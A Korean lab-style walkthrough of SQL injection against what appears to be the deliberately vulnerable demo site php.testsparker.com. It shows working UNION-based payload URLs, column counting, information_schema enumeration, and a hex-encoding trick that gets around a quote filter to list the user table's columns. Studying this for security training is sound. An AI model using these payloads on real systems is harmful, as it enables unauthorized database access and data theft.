[SQL Injection] php.testparker.com 취약점

 php.testparker.com 취약점




 php.testparker.com 접속 






마찬가지로 user의 테이블의 컬럼을 획득해보겠습니다. 


SQL 인젝션에 취약한 파라미터를 찾기 위해 싱글쿼터를 각 파라미터에 삽입합니다. 

DB 에러가 발생하는 페이지는 없습니다 . 














첫페이지에 go 버튼에 %를 입력하면 no rows returned 메세지가 출력됩니다 .


 














해당 검색기능은 DB 데이터 조회 기능임을 추측할 수 있습니다.

싱글쿼터를 주입하면 다음과 같이 아무런 에러가 발생하지 않고 응답 페이지에 검색어인 싱글쿼터가 표시됩니다 . 





















파라미터가 ID 임을 감안하면 문자형 또는 숫자형임을 예측할 수 있습니다 . 
먼저 문자형 데이터라고 가정하고 검색어에 임의 문자인 test에 SQL 인젝션에서 참인 명제 'or''='을 주입합니다 . 

http://php.testsparker.com/artist.php?id=test%27or%27%27=%27





















이번에도 동일한 결과가 출력됩니다 . 


이번에는 해당 파라미터가 숫자형 데이터라고 가정하여 주소창에 다음과 같이 입력합니다 . 

http://php.testsparker.com/artist.php?id=123+or+1=1





















ID와 성, 이름, 생성일자가 출력되었습니다 . 

이제 주입한 위치의 뒷부분에 하드코딩된 잔여 쿼리를 에러 없이 적절하게 처리해야 UNION 기반 SQL 인젝션이 가능합니다 . 


주석처리를 위해 주석문자 #(%23)을 URL에 인코딩해서 주입합니다 .



 



















no row returned 결과가 출력됩니다 . 

주입한 SQL 쿼리 구문에서 에러가 발생했을 가능성이 높다고 볼 수 있습니다 . 
이런 경우 괄호 누락이 원인일 수 있기 때문에 괄호를 추가합니다 .


 
괄호 한개를 주입하고 같은 결과가나와서 2개 삽입을 해서 결과를 얻었습니다.




























컬럼 개수 확인

컬럼의 개수가 6개 인지 확인합니다. 



























6개에서 에러가 출력되서 5개를 주입하여 결과를 얻었습니다 . 




























데이터 컬럼을 획득하기 


PHP는 MySQL DB를 가장 많이 사용하기 때문에 MySQL 공격 쿼리를 주입합니다 . 

http://php.testsparker.com/artist.php?id=123+and+1=2))+union+select+1,2,table_name,4,5+from+information_schema.tables%23































불필요한 시스템 컬럼이 같이 출력되었습니다 . 
사용자가 생성한 테이블만 조회가 가능하도록 조건을 추가합니다 . 



http://php.testsparker.com/artist.php?id=123+and+1=2))+union+select+1,2,table_name,4,5+from+information_schema.tables+where+table_type=%27base+table%27%23















오류가 발생했습니다 . 
조건문이 필터링이 되어 오류가 발생한다는것을 예측할 수 있습니다 . 

확인을 위해 싱글쿼터를 배제한 방식으로 쿼리문을 수정하여 테스트 합니다 . 




















DB 사용자가 생성한 테이블 목록이 출력되었습니다 . 
해당 파라미터는 싱글쿼터에 필터링이 적용되어 있거나 사용이 불가능하다는 것을 알 수 있습니다 . 

"user" 테이블의 컬럼 정보를 확인합니다 . 
싱글쿼터 사용이 불가하기 때문에 "user"테이블 명을 hex 값으로 치환하고 앞에 0x를 추가합니다 . 

단, MySQL DB 만 문자열로 자동으로 변환하는 특성이 있습니다 . 



http://php.testsparker.com/artist.php?id=123+and+1=2))+union+select+1,2,column_name,4,5+from+information_schema.columns+where+table_name=0x75736572%23





















user 테이블의 컬럼을 획득했습니다 . 


댓글